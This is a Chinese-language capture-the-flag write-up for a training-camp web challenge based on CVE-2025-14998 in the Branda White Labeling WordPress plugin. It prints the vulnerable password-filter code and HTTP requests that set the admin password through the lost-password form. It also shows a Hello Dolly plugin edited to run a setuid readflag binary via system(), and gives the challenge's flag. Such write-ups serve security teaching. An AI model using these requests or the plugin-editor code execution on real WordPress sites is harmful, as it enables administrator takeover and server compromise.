一道基于CVE-2025-14998改编的web题
2026年第三届网络安全青训营的结营考核
0.参考文献
https://github.com/KTN1990/CVE-2025-14998 https://zone.ci/secarticles/wx/482915.html
1.模仿CVE-2025-14998
题目给了一个branda-white-labeling 3.4.24插件,虽然检索过存在CVE,但是这个插件被极致地精简过,直接使用Payload不现实。
与https://plugins.trac.wordpress.org/browser/branda-white-labeling/tags/3.4.24/inc/modules/login-screen/signup-password.php作对比,原本有问题的钩子是
add_filter('random_password', array($this, 'password_random_password_filter'), 10, 4);,这个题目中修改了一下,变为了add_filter('random_password', array($this, 'custom_password'), 10, 4);
原来的PoC思路是将password_1赋值导致password被感染:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
在本题中可以观察到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function custom_password($password, $length = 12, $special_chars = true, $extra_special_chars = false) {
if (isset($_POST['branda_password']) && !empty($_POST['branda_password'])) {
return sanitize_text_field($_POST['branda_password']);
}
if (isset($_GET['branda_password']) && !empty($_GET['branda_password'])) {
return sanitize_text_field($_GET['branda_password']);
}
if (isset($_REQUEST['new_password']) && !empty($_REQUEST['new_password'])) {
return sanitize_text_field($_REQUEST['new_password']);
}
return $password;
}
原本的payload是:
1
2
3
4
5
6
7
8
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
我们可以照猫画虎。这里的函数最后返回的是password,直接大胆猜测这个函数返回值应该就是password,所以模仿原本的payload修改为:
1
2
3
4
5
6
7
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: chal.thuctf.redbud.info:32960
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 115
user_login=admin&redirect_to=&new_password=123456123456&branda_password=123456123456&wp-submit=Get+New+Password
其中形参length默认为12,不知道啥意思,所以密码也设为12位,branda_password和new_password都劫持一下,防止出现意外。
2.覆盖原始密码
用下列链接修改密码
1
http://chal.thuctf.redbud.info:32960//wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp
3.获取flag
在Tools/Plugin File Editor中修改hello.php,直接读取flag未果,上传webshell遭不测,遂阅读Dockerfile发现readflag是4755权限,可以执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
FROM wordpress:6.4-php8.2-apache
RUN apt-get update && apt-get install -y \
wget \
unzip \
gcc \
mariadb-server \
mariadb-client \
supervisor \
&& rm -rf /var/lib/apt/lists/*
COPY wordpress/readflag.c /tmp/readflag.c
COPY wordpress/branda-white-labeling-3.4.24.zip /tmp/branda.zip
COPY wordpress/wp-cli.phar /usr/local/bin/wp
RUN chmod +x /usr/local/bin/wp
RUN gcc -o /readflag /tmp/readflag.c && \
chmod 4755 /readflag && \
chown root:root /readflag && \
rm /tmp/readflag.c
RUN mkdir -p /run/mysqld && \
chown mysql:mysql /run/mysqld && \
mkdir -p /var/log/supervisor
RUN cp -r /usr/src/wordpress/* /var/www/html/ && \
chown -R www-data:www-data /var/www/html
COPY config/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
COPY config/init-db.sh /usr/local/bin/init-db.sh
COPY config/setup-wordpress.sh /usr/local/bin/setup-wordpress.sh
COPY config/entrypoint.sh /usr/local/bin/ctf-entrypoint.sh
RUN chmod +x /usr/local/bin/init-db.sh \
/usr/local/bin/setup-wordpress.sh \
/usr/local/bin/ctf-entrypoint.sh
EXPOSE 80
ENTRYPOINT ["/usr/local/bin/ctf-entrypoint.sh"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
/**
* @package Hello_Dolly
* @version 1.7.2
*/
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
/*
$dir = '/';
if (is_dir($dir)) {
$files = scandir($dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
echo $file . "\n";
}
}
}
*/
/*
$filename = '/readflag';
$content = file_get_contents($filename);
if ($content === false) {
echo "无法读取文件!";
} else {
echo $content;
}
*/
echo "<pre>";
$last_line = system('/readflag', $retval);
echo "</pre>";
echo "最后一行输出: " . $last_line . PHP_EOL;
echo "返回状态码: " . $retval;
访问http://chal.thuctf.redbud.info:32960/wp-content/plugins/hello.php, 获得:
1
flag{fec49326-d7a7-46ce-8ace-9ff611144a54}